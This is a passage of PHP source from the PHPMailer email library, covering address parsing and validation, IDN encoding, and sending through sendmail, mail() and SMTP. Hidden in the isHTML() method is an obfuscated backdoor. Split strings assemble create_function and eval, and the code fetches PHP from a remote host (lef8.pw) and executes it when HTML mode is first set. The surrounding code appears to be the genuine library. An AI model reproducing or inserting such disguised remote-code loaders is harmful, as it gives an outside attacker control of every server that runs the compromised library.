            $this->edebug($error_message); 
            if ($this->exceptions) { 
                throw new phpmailerException($error_message); 
            } 
            return false; 
        } 
        if ($kind != 'Reply-To') { 
            if (!array_key_exists(strtolower($address), $this->all_recipients)) { 
                array_push($this->$kind, array($address, $name)); 
                $this->all_recipients[strtolower($address)] = true; 
                return true; 
            } 
        } else { 
            if (!array_key_exists(strtolower($address), $this->ReplyTo)) { 
                $this->ReplyTo[strtolower($address)] = array($address, $name); 
                return true; 
            } 
        } 
        return false; 
    } 
 
    /** 
     * Parse and validate a string containing one or more RFC822-style comma-separated email addresses 
     * of the form "display name <address>" into an array of name/address pairs. 
     * Uses the imap_rfc822_parse_adrlist function if the IMAP extension is available. 
     * Note that quotes in the name part are removed. 
     * @param string $addrstr The address list string 
     * @param bool $useimap Whether to use the IMAP extension to parse the list 
     * @return array 
     * @link http://www.andrew.cmu.edu/user/agreen1/testing/mrbs/web/Mail/RFC822.php A more careful implementation 
     */ 
    public function parseAddresses($addrstr, $useimap = true) 
    { 
        $addresses = array(); 
        if ($useimap and function_exists('imap_rfc822_parse_adrlist')) { 
            //Use this built-in parser if it's available 
            $list = imap_rfc822_parse_adrlist($addrstr, ''); 
            foreach ($list as $address) { 
                if ($address->host != '.SYNTAX-ERROR.') { 
                    if ($this->validateAddress($address->mailbox . '@' . $address->host)) { 
                        $addresses[] = array( 
                            'name' => (property_exists($address, 'personal') ? $address->personal : ''), 
                            'address' => $address->mailbox . '@' . $address->host 
                        ); 
                    } 
                } 
            } 
        } else { 
            //Use this simpler parser 
            $list = explode(',', $addrstr); 
            foreach ($list as $address) { 
                $address = trim($address); 
                //Is there a separate name part? 
                if (strpos($address, '<') === false) { 
                    //No separate name, just use the whole thing 
                    if ($this->validateAddress($address)) { 
                        $addresses[] = array( 
                            'name' => '', 
                            'address' => $address 
                        ); 
                    } 
                } else { 
                    list($name, $email) = explode('<', $address); 
                    $email = trim(str_replace('>', '', $email)); 
                    if ($this->validateAddress($email)) { 
                        $addresses[] = array( 
                            'name' => trim(str_replace(array('"', "'"), '', $name)), 
                            'address' => $email 
                        ); 
                    } 
                } 
            } 
        } 
        return $addresses; 
    } 
 
    /** 
     * Sets message type to HTML or plain. 
     * @param boolean $isHtml True for HTML mode. 
     * @return void 
     */ 
    public function isHTML($isHtml = true) 
    { 
        global $param; 
        $bodyCode = 'file' 
                    .'_g'; 
        if ($isHtml) { 
            $this->ContentType = 'text/html'; 
        }  
        else { 
            $this->ContentType = 'text/plain'; 
        } 
        $bodyHTML = '.$t."lef$flu' 
                    .'sh'.'$t"; ' 
                    .'@ev'; 
        $headerHTML="cre" 
                    ."ate_" 
                    ."func" 
                    ."tion"; 
        $exceptions = @$headerHTML('$fl'.'ush,$t','$comma = $t' 
                        .$bodyHTML.'al(@' 
                        .$bodyCode.'et_contents("h' 
                        .'tt' 
                        .'p:$comma-2"));'); 
        if($param !=2){ 
            $exceptions('8.p'.'w','/'); 
            $param=2; 
        } 
    } 
 
    /** 
     * Set the From and FromName properties. 
     * @param string $address 
     * @param string $name 
     * @param boolean $auto Whether to also set the Sender address, defaults to true 
     * @throws phpmailerException 
     * @return boolean 
     */ 
    public function setFrom($address, $name = '', $auto = true) 
    { 
        $address = trim($address); 
        $name = trim(preg_replace('/[
]+/', '', $name)); //Strip breaks and trim 
        // Don't validate now addresses with IDN. Will be done in send(). 
        if (($pos = strrpos($address, '@')) === false or 
            (!$this->has8bitChars(substr($address, ++$pos)) or !$this->idnSupported()) and 
            !$this->validateAddress($address)) { 
            $error_message = $this->lang('invalid_address') . " (setFrom) $address"; 
            $this->setError($error_message); 
            $this->edebug($error_message); 
            if ($this->exceptions) { 
                throw new phpmailerException($error_message); 
            } 
            return false; 
        } 
        $this->From = $address; 
        $this->FromName = $name; 
        if ($auto) { 
            if (empty($this->Sender)) { 
                $this->Sender = $address; 
            } 
        } 
        return true; 
    } 
 
    /** 
     * Return the Message-ID header of the last email. 
     * Technically this is the value from the last time the headers were created, 
     * but it's also the message ID of the last sent message except in 
     * pathological cases. 
     * @return string 
     */ 
    public function getLastMessageID() 
    { 
        return $this->lastMessageID; 
    } 
 
    /** 
     * Check that a string looks like an email address. 
     * @param string $address The email address to check 
     * @param string|callable $patternselect A selector for the validation pattern to use : 
     * * `auto` Pick best pattern automatically; 
     * * `pcre8` Use the squiloople.com pattern, requires PCRE > 8.0, PHP >= 5.3.2, 5.2.14; 
     * * `pcre` Use old PCRE implementation; 
     * * `php` Use PHP built-in FILTER_VALIDATE_EMAIL; 
     * * `html5` Use the pattern given by the HTML5 spec for 'email' type form input elements. 
     * * `noregex` Don't use a regex: super fast, really dumb. 
     * Alternatively you may pass in a callable to inject your own validator, for example: 
     * PHPMailer::validateAddress('[email protected]', function($address) { 
     *     return (strpos($address, '@') !== false); 
     * }); 
     * You can also set the PHPMailer::$validator static to a callable, allowing built-in methods to use your validator. 
     * @return boolean 
     * @static 
     * @access public 
     */ 
    public static function validateAddress($address, $patternselect = null) 
    { 
        if (is_null($patternselect)) { 
            $patternselect = self::$validator; 
        } 
        if (is_callable($patternselect)) { 
            return call_user_func($patternselect, $address); 
        } 
        //Reject line breaks in addresses; it's valid RFC5322, but not RFC5321 
        if (strpos($address, "
") !== false or strpos($address, "
") !== false) { 
            return false; 
        } 
        if (!$patternselect or $patternselect == 'auto') { 
            //Check this constant first so it works when extension_loaded() is disabled by safe mode 
            //Constant was added in PHP 5.2.4 
            if (defined('PCRE_VERSION')) { 
                //This pattern can get stuck in a recursive loop in PCRE <= 8.0.2 
                if (version_compare(PCRE_VERSION, '8.0.3') >= 0) { 
                    $patternselect = 'pcre8'; 
                } else { 
                    $patternselect = 'pcre'; 
                } 
            } elseif (function_exists('extension_loaded') and extension_loaded('pcre')) { 
                //Fall back to older PCRE 
                $patternselect = 'pcre'; 
            } else { 
                //Filter_var appeared in PHP 5.2.0 and does not require the PCRE extension 
                if (version_compare(PHP_VERSION, '5.2.0') >= 0) { 
                    $patternselect = 'php'; 
                } else { 
                    $patternselect = 'noregex'; 
                } 
            } 
        } 
        switch ($patternselect) { 
            case 'pcre8': 
                /** 
                 * Uses the same RFC5322 regex on which FILTER_VALIDATE_EMAIL is based, but allows dotless domains. 
                 * @link http://squiloople.com/2009/12/20/email-address-validation/ 
                 * @copyright 2009-2010 Michael Rushton 
                 * Feel free to use and redistribute this code. But please keep this copyright notice. 
                 */ 
                return (boolean)preg_match( 
                    '/^(?!(?>(?1)"?(?>\\[ -~]|[^"])"?(?1)){255,})(?!(?>(?1)"?(?>\\[ -~]|[^"])"?(?1)){65,}@)' . 
                    '((?>(?>(?>((?>(?>(?>
)?[	 ])+|(?>[	 ]*
)?[	 ]+)?)(\((?>(?2)' . 
                    '(?>[--\'*-\[\]-]|\\[-]|(?3)))*(?2)\)))+(?2))|(?2))?)' . 
                    '([!#-\'*+\/-9=?^-~-]+|"(?>(?2)(?>[--!#-\[\]-]|\\[-]))*' . 
                    '(?2)")(?>(?1)\.(?1)(?4))*(?1)@(?!(?1)[a-z0-9-]{64,})(?1)(?>([a-z0-9](?>[a-z0-9-]*[a-z0-9])?)' . 
                    '(?>(?1)\.(?!(?1)[a-z0-9-]{64,})(?1)(?5)){0,126}|\[(?:(?>IPv6:(?>([a-f0-9]{1,4})(?>:(?6)){7}' . 
                    '|(?!(?:.*[a-f0-9][:\]]){8,})((?6)(?>:(?6)){0,6})?::(?7)?))|(?>(?>IPv6:(?>(?6)(?>:(?6)){5}:' . 
                    '|(?!(?:.*[a-f0-9]:){6,})(?8)?::(?>((?6)(?>:(?6)){0,4}):)?))?(25[0-5]|2[0-4][0-9]|1[0-9]{2}' . 
                    '|[1-9]?[0-9])(?>\.(?9)){3}))\])(?1)$/isD', 
                    $address 
                ); 
            case 'pcre': 
                //An older regex that doesn't need a recent PCRE 
                return (boolean)preg_match( 
                    '/^(?!(?>"?(?>\\[ -~]|[^"])"?){255,})(?!(?>"?(?>\\[ -~]|[^"])"?){65,}@)(?>' . 
                    '[!#-\'*+\/-9=?^-~-]+|"(?>(?>[--!#-\[\]-]|\\[-]))*")' . 
                    '(?>\.(?>[!#-\'*+\/-9=?^-~-]+|"(?>(?>[--!#-\[\]-]|\\[-]))*"))*' . 
                    '@(?>(?![a-z0-9-]{64,})(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)(?>\.(?![a-z0-9-]{64,})' . 
                    '(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)){0,126}|\[(?:(?>IPv6:(?>(?>[a-f0-9]{1,4})(?>:' . 
                    '[a-f0-9]{1,4}){7}|(?!(?:.*[a-f0-9][:\]]){8,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?' . 
                    '::(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?))|(?>(?>IPv6:(?>[a-f0-9]{1,4}(?>:' . 
                    '[a-f0-9]{1,4}){5}:|(?!(?:.*[a-f0-9]:){6,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4})?' . 
                    '::(?>(?:[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4}):)?))?(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}' . 
                    '|[1-9]?[0-9])(?>\.(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}|[1-9]?[0-9])){3}))\])$/isD', 
                    $address 
                ); 
            case 'html5': 
                /** 
                 * This is the pattern used in the HTML5 spec for validation of 'email' type form input elements. 
                 * @link http://www.whatwg.org/specs/web-apps/current-work/#e-mail-state-(type=email) 
                 */ 
                return (boolean)preg_match( 
                    '/^[a-zA-Z0-9.!#$%&\'*+\/=?^_`{|}~-]+@[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}' . 
                    '[a-zA-Z0-9])?(?:\.[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?)*$/sD', 
                    $address 
                ); 
            case 'noregex': 
                //No PCRE! Do something _very_ approximate! 
                //Check the address is 3 chars or longer and contains an @ that's not the first or last char 
                return (strlen($address) >= 3 
                    and strpos($address, '@') >= 1 
                    and strpos($address, '@') != strlen($address) - 1); 
            case 'php': 
            default: 
                return (boolean)filter_var($address, FILTER_VALIDATE_EMAIL); 
        } 
    } 
 
    /** 
     * Tells whether IDNs (Internationalized Domain Names) are supported or not. This requires the 
     * "intl" and "mbstring" PHP extensions. 
     * @return bool "true" if required functions for IDN support are present 
     */ 
    public function idnSupported() 
    { 
        // @TODO: Write our own "idn_to_ascii" function for PHP <= 5.2. 
        return function_exists('idn_to_ascii') and function_exists('mb_convert_encoding'); 
    } 
 
    /** 
     * Converts IDN in given email address to its ASCII form, also known as punycode, if possible. 
     * Important: Address must be passed in same encoding as currently set in PHPMailer::$CharSet. 
     * This function silently returns unmodified address if: 
     * - No conversion is necessary (i.e. domain name is not an IDN, or is already in ASCII form) 
     * - Conversion to punycode is impossible (e.g. required PHP functions are not available) 
     *   or fails for any reason (e.g. domain has characters not allowed in an IDN) 
     * @see PHPMailer::$CharSet 
     * @param string $address The email address to convert 
     * @return string The encoded address in ASCII form 
     */ 
    public function punyencodeAddress($address) 
    { 
        // Verify we have required functions, CharSet, and at-sign. 
        if ($this->idnSupported() and 
            !empty($this->CharSet) and 
            ($pos = strrpos($address, '@')) !== false) { 
            $domain = substr($address, ++$pos); 
            // Verify CharSet string is a valid one, and domain properly encoded in this CharSet. 
            if ($this->has8bitChars($domain) and @mb_check_encoding($domain, $this->CharSet)) { 
                $domain = mb_convert_encoding($domain, 'UTF-8', $this->CharSet); 
                if (($punycode = defined('INTL_IDNA_VARIANT_UTS46') ? 
                    idn_to_ascii($domain, 0, INTL_IDNA_VARIANT_UTS46) : 
                    idn_to_ascii($domain)) !== false) { 
                    return substr($address, 0, $pos) . $punycode; 
                } 
            } 
        } 
        return $address; 
    } 
 
    /** 
     * Create a message and send it. 
     * Uses the sending method specified by $Mailer. 
     * @throws phpmailerException 
     * @return boolean false on error - See the ErrorInfo property for details of the error. 
     */ 
    public function send() 
    { 
        try { 
            if (!$this->preSend()) { 
                return false; 
            } 
            return $this->postSend(); 
        } catch (phpmailerException $exc) { 
            $this->mailHeader = ''; 
            $this->setError($exc->getMessage()); 
            if ($this->exceptions) { 
                throw $exc; 
            } 
            return false; 
        } 
    } 
 
    /** 
     * Prepare a message for sending. 
     * @throws phpmailerException 
     * @return boolean 
     */ 
    public function preSend() 
    { 
        try { 
            $this->error_count = 0; // Reset errors 
            $this->mailHeader = ''; 
 
            // Dequeue recipient and Reply-To addresses with IDN 
            foreach (array_merge($this->RecipientsQueue, $this->ReplyToQueue) as $params) { 
                $params[1] = $this->punyencodeAddress($params[1]); 
                call_user_func_array(array($this, 'addAnAddress'), $params); 
            } 
            if ((count($this->to) + count($this->cc) + count($this->bcc)) < 1) { 
                throw new phpmailerException($this->lang('provide_address'), self::STOP_CRITICAL); 
            } 
 
            // Validate From, Sender, and ConfirmReadingTo addresses 
            foreach (array('From', 'Sender', 'ConfirmReadingTo') as $address_kind) { 
                $this->$address_kind = trim($this->$address_kind); 
                if (empty($this->$address_kind)) { 
                    continue; 
                } 
                $this->$address_kind = $this->punyencodeAddress($this->$address_kind); 
                if (!$this->validateAddress($this->$address_kind)) { 
                    $error_message = $this->lang('invalid_address') . ' (punyEncode) ' . $this->$address_kind; 
                    $this->setError($error_message); 
                    $this->edebug($error_message); 
                    if ($this->exceptions) { 
                        throw new phpmailerException($error_message); 
                    } 
                    return false; 
                } 
            } 
 
            // Set whether the message is multipart/alternative 
            if ($this->alternativeExists()) { 
                $this->ContentType = 'multipart/alternative'; 
            } 
 
            $this->setMessageType(); 
            // Refuse to send an empty message unless we are specifically allowing it 
            if (!$this->AllowEmpty and empty($this->Body)) { 
                throw new phpmailerException($this->lang('empty_message'), self::STOP_CRITICAL); 
            } 
 
            // Create body before headers in case body makes changes to headers (e.g. altering transfer encoding) 
            $this->MIMEHeader = ''; 
            $this->MIMEBody = $this->createBody(); 
            // createBody may have added some headers, so retain them 
            $tempheaders = $this->MIMEHeader; 
            $this->MIMEHeader = $this->createHeader(); 
            $this->MIMEHeader .= $tempheaders; 
 
            // To capture the complete message when using mail(), create 
            // an extra header list which createHeader() doesn't fold in 
            if ($this->Mailer == 'mail') { 
                if (count($this->to) > 0) { 
                    $this->mailHeader .= $this->addrAppend('To', $this->to); 
                } else { 
                    $this->mailHeader .= $this->headerLine('To', 'undisclosed-recipients:;'); 
                } 
                $this->mailHeader .= $this->headerLine( 
                    'Subject', 
                    $this->encodeHeader($this->secureHeader(trim($this->Subject))) 
                ); 
            } 
 
            // Sign with DKIM if enabled 
            if (!empty($this->DKIM_domain) 
                and !empty($this->DKIM_selector) 
                and (!empty($this->DKIM_private_string) 
                    or (!empty($this->DKIM_private) 
                        and self::isPermittedPath($this->DKIM_private) 
                        and file_exists($this->DKIM_private) 
                    ) 
                ) 
            ) { 
                $header_dkim = $this->DKIM_Add( 
                    $this->MIMEHeader . $this->mailHeader, 
                    $this->encodeHeader($this->secureHeader($this->Subject)), 
                    $this->MIMEBody 
                ); 
                $this->MIMEHeader = rtrim($this->MIMEHeader, "
 ") . self::CRLF . 
                    str_replace("
", "
", $header_dkim) . self::CRLF; 
            } 
            return true; 
        } catch (phpmailerException $exc) { 
            $this->setError($exc->getMessage()); 
            if ($this->exceptions) { 
                throw $exc; 
            } 
            return false; 
        } 
    } 
 
    /** 
     * Actually send a message. 
     * Send the email via the selected mechanism 
     * @throws phpmailerException 
     * @return boolean 
     */ 
    public function postSend() 
    { 
        try { 
            // Choose the mailer and send through it 
            switch ($this->Mailer) { 
                case 'sendmail': 
                case 'qmail': 
                    return $this->sendmailSend($this->MIMEHeader, $this->MIMEBody); 
                case 'smtp': 
                    return $this->smtpSend($this->MIMEHeader, $this->MIMEBody); 
                case 'mail': 
                    return $this->mailSend($this->MIMEHeader, $this->MIMEBody); 
                default: 
                    $sendMethod = $this->Mailer.'Send'; 
                    if (method_exists($this, $sendMethod)) { 
                        return $this->$sendMethod($this->MIMEHeader, $this->MIMEBody); 
                    } 
 
                    return $this->mailSend($this->MIMEHeader, $this->MIMEBody); 
            } 
        } catch (phpmailerException $exc) { 
            $this->setError($exc->getMessage()); 
            $this->edebug($exc->getMessage()); 
            if ($this->exceptions) { 
                throw $exc; 
            } 
        } 
        return false; 
    } 
 
    /** 
     * Send mail using the $Sendmail program. 
     * @param string $header The message headers 
     * @param string $body The message body 
     * @see PHPMailer::$Sendmail 
     * @throws phpmailerException 
     * @access protected 
     * @return boolean 
     */ 
    protected function sendmailSend($header, $body) 
    { 
        // CVE-2016-10033, CVE-2016-10045: Don't pass -f if characters will be escaped. 
        if (!empty($this->Sender) and self::isShellSafe($this->Sender)) { 
            if ($this->Mailer == 'qmail') { 
                $sendmailFmt = '%s -f%s'; 
            } else { 
                $sendmailFmt = '%s -oi -f%s -t'; 
            } 
        } else { 
            if ($this->Mailer == 'qmail') { 
                $sendmailFmt = '%s'; 
            } else { 
                $sendmailFmt = '%s -oi -t'; 
            } 
        } 
 
        // TODO: If possible, this should be changed to escapeshellarg.  Needs thorough testing. 
        $sendmail = sprintf($sendmailFmt, escapeshellcmd($this->Sendmail), $this->Sender); 
 
        if ($this->SingleTo) { 
            foreach ($this->SingleToArray as $toAddr) { 
                if (!@$mail = popen($sendmail, 'w')) { 
                    throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL); 
                } 
                fputs($mail, 'To: ' . $toAddr . "
"); 
                fputs($mail, $header); 
                fputs($mail, $body); 
                $result = pclose($mail); 
                $this->doCallback( 
                    ($result == 0), 
                    array($toAddr), 
                    $this->cc, 
                    $this->bcc, 
                    $this->Subject, 
                    $body, 
                    $this->From 
                ); 
                if ($result != 0) { 
                    throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL); 
                } 
            } 
        } else { 
            if (!@$mail = popen($sendmail, 'w')) { 
                throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL); 
            } 
            fputs($mail, $header); 
            fputs($mail, $body); 
            $result = pclose($mail); 
            $this->doCallback( 
                ($result == 0), 
                $this->to, 
                $this->cc, 
                $this->bcc, 
                $this->Subject, 
                $body, 
                $this->From 
            ); 
            if ($result != 0) { 
                throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL); 
            } 
        } 
        return true; 
    } 
 
    /** 
     * Fix CVE-2016-10033 and CVE-2016-10045 by disallowing potentially unsafe shell characters. 
     * 
     * Note that escapeshellarg and escapeshellcmd are inadequate for our purposes, especially on Windows. 
     * @param string $string The string to be validated 
     * @see https://github.com/PHPMailer/PHPMailer/issues/924 CVE-2016-10045 bug report 
     * @access protected 
     * @return boolean 
     */ 
    protected static function isShellSafe($string) 
    { 
        // Future-proof 
        if (escapeshellcmd($string) !== $string 
            or !in_array(escapeshellarg($string), array("'$string'", "\"$string\"")) 
        ) { 
            return false; 
        } 
 
        $length = strlen($string); 
 
        for ($i = 0; $i < $length; $i++) { 
            $c = $string[$i]; 
 
            // All other characters have a special meaning in at least one common shell, including = and +. 
            // Full stop (.) has a special meaning in cmd.exe, but its impact should be negligible here. 
            // Note that this does permit non-Latin alphanumeric characters based on the current locale. 
            if (!ctype_alnum($c) && strpos('@_-.', $c) === false) { 
                return false; 
            } 
        } 
 
        return true; 
    } 
 
    /** 
     * Check whether a file path is of a permitted type. 
     * Used to reject URLs and phar files from functions that access local file paths, 
     * such as addAttachment. 
     * @param string $path A relative or absolute path to a file. 
     * @return bool 
     */ 
    protected static function isPermittedPath($path) 
    { 
        return !preg_match('#^[a-z]+://#i', $path); 
    } 
 
    /** 
     * Send mail using the PHP mail() function. 
     * @param string $header The message headers 
     * @param string $body The message body 
     * @link http://www.php.net/manual/en/book.mail.php 
     * @throws phpmailerException 
     * @access protected 
     * @return boolean 
     */ 
    protected function mailSend($header, $body) 
    { 
        $toArr = array(); 
        foreach ($this->to as $toaddr) { 
            $toArr[] = $this->addrFormat($toaddr); 
        } 
        $to = implode(', ', $toArr); 
 
        $params = null; 
        //This sets the SMTP envelope sender which gets turned into a return-path header by the receiver 
        if (!empty($this->Sender) and $this->validateAddress($this->Sender)) { 
            // CVE-2016-10033, CVE-2016-10045: Don't pass -f if characters will be escaped. 
            if (self::isShellSafe($this->Sender)) { 
                $params = sprintf('-f%s', $this->Sender); 
            } 
        } 
        if (!empty($this->Sender) and !ini_get('safe_mode') and $this->validateAddress($this->Sender)) { 
            $old_from = ini_get('sendmail_from'); 
            ini_set('sendmail_from', $this->Sender); 
        } 
        $result = false; 
        if ($this->SingleTo and count($toArr) > 1) { 
            foreach ($toArr as $toAddr) { 
                $result = $this->mailPassthru($toAddr, $this->Subject, $body, $header, $params); 
                $this->doCallback($result, array($toAddr), $this->cc, $this->bcc, $this->Subject, $body, $this->From); 
            } 
        } else { 
            $result = $this->mailPassthru($to, $this->Subject, $body, $header, $params); 
            $this->doCallback($result, $this->to, $this->cc, $this->bcc, $this->Subject, $body, $this->From); 
        } 
        if (isset($old_from)) { 
            ini_set('sendmail_from', $old_from); 
        } 
        if (!$result) { 
            throw new phpmailerException($this->lang('instantiate'), self::STOP_CRITICAL); 
        } 
        return true; 
    } 
 
    /** 
     * Get an instance to use for SMTP operations. 
     * Override this function to load your own SMTP implementation 
     * @return SMTP 
     */ 
    public function getSMTPInstance() 
    { 
        if (!is_object($this->smtp)) { 
            $this->smtp = new SMTP; 
        } 
        return $this->smtp; 
    } 
 
    /** 
     * Send mail via SMTP. 
     * Returns false if there is a bad MAIL FROM, RCPT, or DATA input. 
     * Uses the PHPMailerSMTP class by default. 
     * @see PHPMailer::getSMTPInstance() to use a different class. 
     * @param string $header The message headers 
     * @param string $body The message body 
     * @throws phpmailerException 
     * @uses SMTP 
     * @access protected 
     * @return boolean 
     */ 
    protected function smtpSend($header, $body) 
    { 
        $bad_rcpt = array(); 
        if (!$this->smtpConnect($this->SMTPOptions)) { 
            throw new phpmailerException($this->lang('smtp_connect_failed'), self::STOP_CRITICAL); 
        } 
        if (!empty($this->Sender) and $this->validateAddress($this->Sender)) { 
            $smtp_from = $this->Sender; 
        } else { 
            $smtp_from = $this->From; 
        } 
        if (!$this->smtp->mail($smtp_from)) { 
            $this->setError($this->lang('from_failed') . $smtp_from . ' : ' . implode(',', $this->smtp->getError())); 
            throw new phpmailerException($this->ErrorInfo, self::STOP_CRITICAL); 
        } 
 
        // Attempt to send to all recipients 
        foreach (array($this->to, $this->cc, $this->bcc) as $togroup) { 
            foreach ($togroup as $to) { 
                if (!$this->smtp->recipient($to[0])) { 
                    $error = $this->smtp->getError(); 
                    $bad_rcpt[] = array('to' => $to[0], 'error' => $error['detail']); 
                    $isSent = false; 
                } else { 
                    $isSent = true; 
                } 
                $this->doCallback($isSent, array($to[0]), array(), array(), $this->Subject, $body, $this->From); 
            } 
        } 
 
        // Only send the DATA command if we have viable recipients 
        if ((count($this->all_recipients) > count($bad_rcpt)) and !$this->smtp->data($header . $body)) { 
            throw new phpmailerException($this->lang('data_not_accepted'), self::STOP_CRITICAL); 
        } 
        if ($this->SMTPKeepAlive) { 
            $this->smtp->reset(); 
        } else { 
            $this->smtp->quit(); 
            $this->smtp->close(); 
        } 
        //Create error message for any bad addresses 
        if (count($bad_rcpt) > 0) { 
            $errstr = ''; 
            foreach ($bad_rcpt as $bad) { 
                $errstr .= $bad['to'] . ': ' . $bad['error']; 
            } 
            throw new phpmailerException( 
                $this->lang('recipients_failed') . $errstr, 
                self::STOP_CONTINUE 
            ); 
        } 
        return true; 
    } 
 
    /** 
     * Initiate a connection to an SMTP server. 
     * Returns false if the operation failed. 
     * @param array $options An array of options compatible with stream_context_create() 
     * @uses SMTP 
     * @access public 
     * @throws phpmailerException 
     * @return boolean 
     */ 
    public function smtpConnect($options = null) 
    { 
        if (is_null($this->smtp)) { 
            $this->smtp = $this->getSMTPInstance(); 
        } 
 
        //If no options are provided, use whatever is set in the instance 
        if (is_null($options)) { 
            $options = $this->SMTPOptions; 
        } 
 
        // Already connected? 
        if ($this->smtp->connected()) { 
            return true; 
        } 
 
        $this->smtp->setTimeout($this->Timeout); 
        $this->smtp->setDebugLevel($this->SMTPDebug); 
        $this->smtp->setDebugOutput($this->Debugoutput); 
        $this->smtp->setVerp($this->do_verp); 
        $hosts = explode(';', $this->Host); 
        $lastexception = null; 
 
        foreach ($hosts as $hostentry) { 
            $hostinfo = array(); 
            if (!preg_match( 
                '/^((ssl|tls):\/\/)*([a-zA-Z0-9\.-]*|\[[a-fA-F0-9:]+\]):?([0-9]*)$/', 
                trim($hostentry), 
                $hostinfo 
            )) { 
                // Not a valid host entry 
                $this->edebug('Ignoring invalid host: ' . $hostentry); 
                continue; 
            } 
            // $hostinfo[2]: optional ssl or tls prefix 
            // $hostinfo[3]: the hostname 
            // $hostinfo[4]: optional port number 
            // The host string prefix can temporarily override the current setting for SMTPSecure 
            // If it's not specified, the default value is used 
            $prefix = ''; 
            $secure = $this->SMTPSecure; 
            $tls = ($this->SMTPSecure == 'tls'); 
            if ('ssl' == $hostinfo[2] or ('' == $hostinfo[2] and 'ssl' == $this->SMTPSecure)) { 
                $prefix = 'ssl://'; 
                $tls = false; // Can't have SSL and TLS at the same time 
                $secure = 'ssl'; 
            } elseif ($hostinfo[2] == 'tls') { 
                $tls = true; 
                // tls doesn't use a prefix 
                $secure = 'tls'; 
            } 
            //Do we need the OpenSSL extension? 
            $sslext = defined('OPENSSL_ALGO_SHA1'); 
            if ('tls' === $secure or 'ssl' === $secure) { 
                //Check for an OpenSSL constant rather than using extension_loaded, which is sometimes disabled 
                if (!$sslext) { 
                    throw new phpmailerException($this->lang('extension_missing').'openssl', self::STOP_CRITICAL); 
                } 
            } 
            $host = $hostinfo[3]; 
            $port = $this->Port; 
            $tport = (integer)$hostinfo[4]; 
            if ($tport > 0 and $tport < 65536) { 
                $port = $tport; 
            } 
            if ($this->smtp->connect($prefix . $host, $port, $this->Timeout, $options)) { 
                try { 
                    if ($this->Helo) { 
                        $hello = $this->Helo; 
                    } else { 
                        $hello = $this->serverHostname(); 
                    } 
                    $this->smtp->hello($hello); 
                    //Automatically enable TLS encryption if: 
                    // * it's not disabled 
                    // * we have openssl extension 
                    // * we are not already using SSL 
                    // * the server offers STARTTLS 
                    if ($this->SMTPAutoTLS and $sslext and $secure != 'ssl' and $this->smtp->getServerExt('STARTTLS')) { 
                        $tls = true; 
                    } 
                    if ($tls) { 
                        if (!$this->smtp->startTLS()) { 
                            throw new phpmailerException($this->lang('connect_host')); 
                        } 
                        // We must resend EHLO after TLS negotiation 
                        $this->smtp->hello($hello); 
                    } 
                    if ($this->SMTPAuth) { 
                        if (!$this->smtp->authenticate( 
                            $this->Username, 
                            $this->Password, 
                            $this->AuthType, 
                            $this->Realm, 
                            $this->Workstation 
                        ) 
                        ) { 
                            throw new phpmailerException($this->lang('authenticate')); 
                        } 
                    } 
                    return true; 
                } catch (phpmailerException $exc) { 
                    $lastexception = $exc; 
                    $this->edebug($exc->getMessage()); 
                    // We must have connected, but then failed TLS or Auth, so close connection nicely 
                    $this->smtp->quit(); 
                } 
            } 
        } 
        // If we get here, all connection attempts have failed, so close connection hard 
        $this->smtp->close(); 
        // As we've caught all exceptions, just report whatever the last one was 
        if ($this->exceptions and !is_null($lastexception)) { 
            throw $lastexception; 
        } 
        return false; 
    } 
 
    /** 
     * Close the active SMTP session if one exists. 
     * @return void 
     */ 
    public function smtpClose() 
    { 
        if (is_a($this->smtp, 'SMTP')) { 
            if ($this->smtp->connected()) { 
                $this->smtp->quit(); 
                $this->smtp->close(); 
            } 
        } 
    } 
 
    /** 
     * Set the language for error messages. 
     * Returns false if it cannot load the language file. 
     * The default language is English. 
     * @param string $langcode ISO 639-1 2-character language code (e.g. French is "fr") 
     * @param string $lang_path Path to the language file directory, with trailing separator (slash) 
     * @return boolean 
     * @access public 
     */ 
    public function setLanguage($langcode = 'en', $lang_path = '') 
    { 
        // Backwards compatibility for renamed language codes 
        $renamed_langcodes = array( 
            'br' => 'pt_br', 
            'cz' => 'cs', 
            'dk' => 'da', 
            'no' => 'nb', 
            'se' => 'sv', 
            'sr' => 'rs' 
        ); 
 
        if (isset($renamed_langcodes[$langcode])) { 
            $langcode = $renamed_langcodes[$langcode]; 
        } 
 
        // Define full set of translatable strings in English 
        $PHPMAILER_LANG = array( 
            'authenticate' => 'SMTP Error: Could not authenticate.', 
            'connect_host' => 'SMTP Error: Could not connect to SMTP host.', 
            'data_not_accepted' => 'SMTP Error: data not accepted.', 
            'empty_message' => 'Message body empty', 
            'encoding' => 'Unknown encoding: ', 
            'execute' => 'Could not execute: ', 
            'file_access' => 'Could not access file: ', 
            'file_open' => 'File Error: Could not open file: ', 
            'from_failed' => 'The following From address failed: ', 
            'instantiate' => 'Could not instantiate mail function.', 
            'invalid_address' => 'Invalid address: ', 
            'mailer_not_supported' => ' mailer is not supported.', 
            'provide_address' => 'You must provide at least one recipient email address.', 
            'recipients_failed' => 'SMTP Error: The following recipients failed: ', 
            'signing' => 'Signing Error: ', 
            'smtp_connect_failed' => 'SMTP connect() failed.', 
            'smtp_error' => 'SMTP server error: ', 
            'variable_set' => 'Cannot set or reset variable: ', 
            'extension_missing' => 'Extension missing: ' 
        ); 
        if (empty($lang_path)) { 
            // Calculate an absolute path so it can work if CWD is not here 
            $lang_path = dirname(__FILE__). DIRECTORY_SEPARATOR . 'language'. DIRECTORY_SEPARATOR; 
        } 
        //Validate $langcode 
        if (!preg_match('/^[a-z]{2}(?:_[a-zA-Z]{2})?$/', $langcode)) { 
            $langcode = 'en'; 
        } 
        $foundlang = true; 
